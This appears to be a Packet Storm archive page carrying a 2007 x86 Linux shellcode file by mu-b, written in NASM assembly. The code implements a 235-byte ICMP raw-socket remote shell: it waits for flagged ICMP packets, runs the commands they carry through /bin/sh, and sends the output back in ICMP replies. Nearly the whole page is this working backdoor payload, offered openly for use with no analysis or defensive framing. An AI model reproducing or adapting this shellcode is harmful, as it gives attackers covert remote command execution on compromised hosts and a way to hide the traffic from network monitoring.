exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

rawsocket.txt

rawsocket.txt
Posted Apr 2, 2007
Authored by mu-b

raw-socket ICMP/checksum shell shellcode that is 235 bytes in size.

tags | shell, shellcode
SHA-256 | 8f0bcd2b244d7627399086ddb072b42bb32cc90ecf2fa10c877287dcbea6e040

rawsocket.txt

Change Mirror Download
;
; Copyright (c) 2007 by <mu-b@digit-labs.org>
;
; 235-byte raw-socket ICMP/checksum shell - (x86-lnx)
; by mu-b - Nov 2006
;
; icmp with identifier __flag_byte and commands in the
; following format:-
; "/bin/sh\x00-c\x00<command here>\x00"
;
; unlike *other* icmp shells, this will reply with
; 255-(sizeof icmp_hdr) bytes of output..
;

%define zero_reg esi
%define zero_reg_w si
%define sock_reg edi
%define __flag_byte 6996h

global _shell

_shell:
xor zero_reg, zero_reg
mov ebp, esp

; sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP);
_socket:
lea ebx, [zero_reg+3]
push byte 1
push ebx
dec ebx
push ebx
dec ebx
mov ecx, esp
lea eax, [zero_reg+66h]
int 80h ; socket();
mov sock_reg, eax

; setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL, &1, 1);
_setsockopt:
push ebx
push esp
push byte 3h
push zero_reg
push sock_reg
mov ecx, esp
mov bl, byte 0eh
mov al, byte 66h
int 80h ; setsocketopt();

; while(1)
_while_loop:
; read(sockfd, cmd, 255);
cdq
dec byte dl
mov ecx, ebp
mov ebx, sock_reg
lea eax, [zero_reg+3]
int 80h ; read();

lea ebx, [ebp+24]
xor [ebx], word __flag_byte
jne short _while_loop

; pipe(pp)
lea ebx, [ebp-8]
mov al, byte 2ah
int 80h ; pipe();

; fork()
mov al, byte 2h
int 80h ; fork();
test eax, eax
jnz short _parent

_child:
; close(pp[0])
mov ebx, [ebp-8]
mov al, byte 6h
int 80h ; close();

; dup2(pp[1], 0); dup2(pp[1], 1); dup2(pp[1], 2);
lea ecx, [zero_reg+3]
; pp[1] == pp[0]+1
inc ebx

.1:
dec ecx
mov al, byte 3fh
int 80h ; dup2();
jnz .1

; execve(cmd + 28, {cmd + 28, cmd + 36, cmd + 39, 0}, 0);
push zero_reg
lea ebx, [ebp+39]
push ebx
sub ebx, byte 3
push ebx
sub ebx, byte 8
push ebx
mov ecx, esp
cdq
mov al, byte 0bh
int 80h ; execve();

_parent:
; close(pp[1])
mov ebx, [ebp-4]
lea eax, [zero_reg+6]
int 80h ; close();

_parent_read:
.1:
; read(pp[0], cmd, bytes_left);
; edx == 255
lea ecx, [ebp+28]
mov ebx, [ebp-8]
mov al, byte 3h
int 80h ; read();
test eax, eax
jl _while_loop

mov al, byte 6h
int 80h ; close();

.2:
; fix up ttl (optional?! make sure its high!)
; mov [ebp+8], byte 0ffh

; switch ip's
mov ecx, [ebp+12]
xchg [ebp+16], ecx
mov [ebp+12], ecx

; set icmp type to echo reply (optional?!)
;mov [ebp+20], word zero_reg_w
; zero checksum
;mov [ebp+22], word zero_reg_w
; set icmp type to echo and zero checksum
mov [ebp+20], zero_reg

lea ecx, [zero_reg+117]
lea esi, [ebp+20]
cdq

.3:
lodsw
add edx, eax
loop .3

lodsb
xor ah, ah
add eax, edx
mov esi, eax

shr eax, byte 16
movzx esi, si
add eax, esi
mov edx, eax
shr edx, byte 16
add eax, edx
not ax

; set checksum
mov [ebp+22], word ax

cdq
xor eax, eax
xor zero_reg, zero_reg

; struct sockaddr *
push zero_reg
push zero_reg
push dword [ebp+16]
push byte 2

; sendto(sockfd, cmd, 255, 0, ...);
mov ecx, esp
push byte 16
push ecx
push zero_reg
mov dl, byte 0ffh
push edx
push ebp
push sock_reg
mov ecx, esp
mov bl, 0bh
mov al, 66h
int 80h ; sendto();

cdq
mov ecx, ebp
mov ebx, zero_reg
mov al, 72h
int 80h ; wait();

jmp _while_loop

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close